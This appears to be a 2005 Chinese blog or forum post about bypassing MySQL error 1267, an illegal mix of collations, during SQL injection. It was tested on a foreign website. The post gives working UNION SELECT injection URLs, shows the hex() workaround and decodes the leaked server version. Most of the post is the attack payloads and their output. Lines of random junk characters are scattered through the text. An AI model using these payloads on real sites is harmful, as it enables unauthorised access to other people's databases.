MySQL注射时ErrorNo.1267的突破

admin

本文作者：SuperHei
; T: _$ w/ U/ v8 e文章性质：原创
发布日期：2005-10-18
测试个国外的站时：
$ U% ?" X' \* c5 |& durl：?c_id=2%20and%201=2%20union%20select%201,version(),3,4,5,6%20/*
返回错误：
Illegal mix of collations (euckr_korean_ci,IMPLICIT) and (utf8_general_ci,IMPLICIT) for operation 'UNION'
MySQL Error No. 126
3 K2 e0 q( c: g6 H  j4 ]0 }看来是union查询前后字符集（http://dev.mysql.com/doc/mysql/en/Charset-collation-charset.html）不同出现的。
; f# \/ @7 k0 U/ u0 {. E解决办法：转为其他编码如hex。
) ?7 Q: f- T- Z( Y$ z/ c7 s+ wurl：?c_id=2%20and%201=2%20union%20select%201,hex(version()),3,4,5,6%20/*
成功得到hex(version())的值为：
, Z5 ~; U+ u2 v# J342E312E332D62657461
回Mysql查询下得到：
/ r  B1 w8 L" _' x5 z- Y7 S" ^mysql> select 0x342E312E332D62657461;
+------------------------+
- {! W. B* X7 J% |: r( h. n3 H| 0x342E312E332D62657461 |
+------------------------+
| 4.1.3-beta |
, |7 j& Y( [5 s! M; c+------------------------+
. s1 t+ E9 Y, {. G1 row in set (0.00 sec)